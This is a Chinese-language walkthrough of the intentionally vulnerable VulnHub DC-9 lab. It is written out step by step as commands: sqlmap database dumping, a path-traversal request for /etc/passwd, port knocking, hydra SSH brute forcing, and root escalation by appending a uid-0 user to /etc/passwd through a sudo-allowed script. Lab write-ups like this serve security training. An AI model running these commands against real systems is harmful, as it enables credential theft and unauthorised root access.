vulnhub靶场渗透练习详解——DC9

一、安装配置

所需环境:kali、DC-9

DC-9靶场下载:

Vulnerable By Design - Search: dc (Page 3) ~ VulnHub

下载完成后解压,用vmware打开即可,DC-9靶场和kali都设置为NAT模式,这样就是同网段了

二、信息收集

1.扫描主机IP

使用kali中自带的arp-scan工具进行扫描

arp-scan 工具的使用方法:

该工具通过使用自制的arp数据包,同时有人会解析mac地址,并给出对应的硬件厂商名称。且会输出类似arp信息的条目,通过排查得到想要的目标主机的IP地址。  

vulnhub靶场渗透练习详解——DC9_第1张图片

2.扫描端口信息

nmap -P IP地址

vulnhub靶场渗透练习详解——DC9_第2张图片

nmap扫描输出的结果中state状态的类型:

open:端口开放

filtsred:被过滤的端口

closed:关闭的端口

unfiltered:未被过滤的

open|filtered:开放或被过滤的

closed|filtered:关闭或被过滤的

3.网站信息收集

浏览器输入ip访问80号端口

vulnhub靶场渗透练习详解——DC9_第3张图片

针对站点信息进行目录扫描,使用kali自带的目录扫描工具dirbuster,输入站点信息,选择目录文件,开始扫描,扫描过程较慢....

vulnhub靶场渗透练习详解——DC9_第4张图片

vulnhub靶场渗透练习详解——DC9_第5张图片

三、漏洞探测

使用AWVS工具对网站进行扫描,根据扫描结果可以看到在http://192.168.192.132/result.php页面存在SQL注入漏洞

vulnhub靶场渗透练习详解——DC9_第6张图片

vulnhub靶场渗透练习详解——DC9_第7张图片

四、漏洞验证

我么使用sqlmap自动化注入工具

--batch 代表全自动,不用我们手动输入y/n

sqlmap -u http://192.168.192.132/results.php --data="search=123" --dbs   //获取数据库名称

sqlmap -u http://192.168.192.132/results.php --data="search=123" -D Staff --tables --batch // 获取指定数据库中的所有表名称

sqlmap -u http://192.168.192.132/results.php --data="search=123" -D Staff -T Users --columns --batch //获取指定数据库指定表中的列名称

sqlmap -u http://192.168.192.132/results.php --data="search=123" -D Staff -T Users --dump //获取表中的数据

数据库名:

vulnhub靶场渗透练习详解——DC9_第8张图片

指定数据库 Staff 的表名:

vulnhub靶场渗透练习详解——DC9_第9张图片

指定数据库Staff 指定表 Users 的列名

 vulnhub靶场渗透练习详解——DC9_第10张图片

获取表Users中数据:

 vulnhub靶场渗透练习详解——DC9_第11张图片

以下另外一个数据库的信息

指定数据库users的表名称:

vulnhub靶场渗透练习详解——DC9_第12张图片

sqlmap -u http://192.168.192.132/results.php --data="search=123" -D users -T UserDetails -C username,password --dump

指定数据库users 指定表 UserDetails 指定列 username,password 的数据:(这些是员工的账号密码,之后会用到)

vulnhub靶场渗透练习详解——DC9_第13张图片

五、验证

我们使用库 Staff 表 Users 中爆出来的账户密码 admin:transorbitall 去登录,登陆成功!

vulnhub靶场渗透练习详解——DC9_第14张图片

此时我们发现下面有一行File does not exist

我们猜测可能存在文件包含漏洞,测试一下,顺利读取到了/etc/passwd文件

http://192.168.192.132/manage.php?file=../../../../../../../etc/passwd

 vulnhub靶场渗透练习详解——DC9_第15张图片

 还记得在扫描端口是,22端口的状态是被过滤了,猜测22端口可能存在knockd服务,通过本地文件包含读取对应的敲门服务的配置文件。 敲门服务的配置文件路径:/etc/knockd.conf

(knockd服务:即敲门端口服务,该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,,使系统开启需要访问的服务端口,才能对外访问,不使用时,再使用自定义序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性,它的默认配置文件是:/etc/knockd.conf)

vulnhub靶场渗透练习详解——DC9_第16张图片

 使用kali系统下的knockd工具:

安装:

sudo apt install -y knockd

敲门:

knock 192.168.192.132 7469 8475 9842

验证

nmap -p 22 192.168.192.132

此时22端口状态为open,ssh服务开启,可以访问了

vulnhub靶场渗透练习详解——DC9_第17张图片

六、爆破用户名密码

将之前爆破的员工账号密码分别放入字典中

vulnhub靶场渗透练习详解——DC9_第18张图片

 使用hydra字典爆破

hydra使用教程、命令总结:https://blog.csdn.net/single_g_l/article/details/123553665

hydra -L username.txt -P password.txt ssh://192.168.192.132

vulnhub靶场渗透练习详解——DC9_第19张图片

爆破完成我们可以看到三个用户名密码

三个账户分别登陆,我们会发现janitor这个账户比其他两个账户多了一个目录(其他两个就不截图了)

ssh远程登陆命令:https://www.cnblogs.com/uestc-mm/p/15010886.html

登陆命令:ssh username@ip

vulnhub靶场渗透练习详解——DC9_第20张图片

进入这个目录,发现一个文件,打开该文件,发现是一些密码

vulnhub靶场渗透练习详解——DC9_第21张图片

将passwords-found-on-post-it-notes.txt文件中的密码复制到之前的password.txt文件中,再次使用hydra工具进行爆破,会发现又出现一个账户密码

 hydra -L username.txt -P password.txt ssh://192.168.192.132  

vulnhub靶场渗透练习详解——DC9_第22张图片

 用fredf账户进行ssh登陆,查看目录并没有什么特别,但是使用命令 sudo -l 会发现这里有个脚本文件可以无密码以root用户权限执行(其他用户都没有,就不截图了)

vulnhub靶场渗透练习详解——DC9_第23张图片

 进入/opt/devstuff/dist/test目录下发现全是文件,回到上一个目录查看,也没什么,再回到上一个目录查看,在/opt/devstuff目录下发现了一个test.py脚本文件

vulnhub靶场渗透练习详解——DC9_第24张图片

这是一个写入文件的python脚本,生成一个密码用root权限执行脚本写入/etc/passwd文件,所以我们现在就需要构造一个拥有root权限的用户,并且在/etc/passwd文件中储存,只要使用这个用户登录后,就可以获取到root权限

vulnhub靶场渗透练习详解——DC9_第25张图片

七、提权

 重新打开一个窗口,使用openssl工具创建一个本地的加密用户,也就是一个提权用户:

openssl用法:https://www.bbsmax.com/A/8Bz8RkeL5x/

openssl passwd -1 -salt yl 123.com

 回到刚才ssh登录账户的窗口,进入/opt/devstuff/dist/test目录下使用,echo命令在/tmp目录下创建一个文件,文件名自定义就行,这里用的是test1

echo 'yl:$1$yl$PjYdn.uqFcPDBV/3qRdFZ1:0:0::/root:/bin/bash' >> /tmp/test1

a:x:0:0:root:/root:/bin/bash表示的是什么意思

a表示用户名,x表示密码;
第一个0,表示用户id,后一个0表示用户组id;
后面哪个root是对该用户的描述,可以不写;
/root表示用户目录
/bin/bash表示该用户登录linux时用的shell。

sudo ./test /tmp/test1 /etc/passwd

su yl

输入密码:123.com

使用sudo命令执行test文件将/tmp/test1的内容写入到/etc/passwd文件中

然后使用命令su yl切换到我们添加的yl用户,输入之前设置好密码即可登录

 这一步成功的话,就没问题了!!

进入/root目录下,看到flag,成功!!!!

cd /root

cat theflag.txt

vulnhub靶场渗透练习详解——DC9_第26张图片

 

你可能感兴趣的:(安全,网络安全)